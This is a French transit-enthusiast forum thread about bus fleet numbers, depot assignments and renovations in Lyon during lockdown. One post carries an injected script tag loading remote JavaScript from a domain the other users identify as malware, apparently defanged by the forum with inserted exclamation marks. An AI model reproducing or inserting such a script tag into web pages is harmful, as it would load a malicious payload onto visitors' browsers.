Exact, JM. 

Bonsoir, également 2201, 2205, 2208 et 2228 à UTS.<script type="text/!javascript!" async="" src="//interjoan.com/22507747faf43c0555.js"></script>

Débarasses-toi au plus vite du malware interjoan

 https://www.malwareurl.com/listing.php?as=AS13335&active=on

Heureusement le forum bloque le !javascript! externe dans les messages en le balisant par des !

Oui, c'était aussi le cas de S-P avec son Firefox.

c'est pour cela que pour écrire je passe par chrome 

On avance, c'est identifié mais pourquoi seulement sur Firefox ?
Si ça continue, je rajouterai un filtre pour ne plus afficher ça.

En ce qui concerne la 3146, confirmation: elle est bien en rénovation (avec 3126, 3129, 3130 et 3140).

Sinon tous les 22xx prioritaires d'UTN sont en prêt de longue durée sur C3 (sauf 2214), 2241, 2243 et 2269 sont en rénovation (ainsi que 2230 et 2231 d'UTPC) et, en compensation, retour sur C5 des 2242, 2244, 2249, 2250 et 2253 non équipés.
UTP a prêté les C15E (1106 à 1109) plus la 2276. La 2279, rénovée, est aussi affectée à C3.

Il ne reste plus que 5 20xx en service, dont toujours les 2 premiers livrés (2002 et 2014) plus 2010, 2018 et la funeste 2035. Curieusement la 2002 a bien moins de km au compteur que les autres mais c'était le cas des autres ex-43 réformés.

C15 lui est en 27xx pendant le confinement principalment des ex67.

UTN & UTS exploitent conjointement C3 ? 

Non, c'est UTS seul, les 22xx ex C2/70 sont mutés à La Soie jusqu'à la fin du confinement voire plus car je crois que des travaux sont prévus.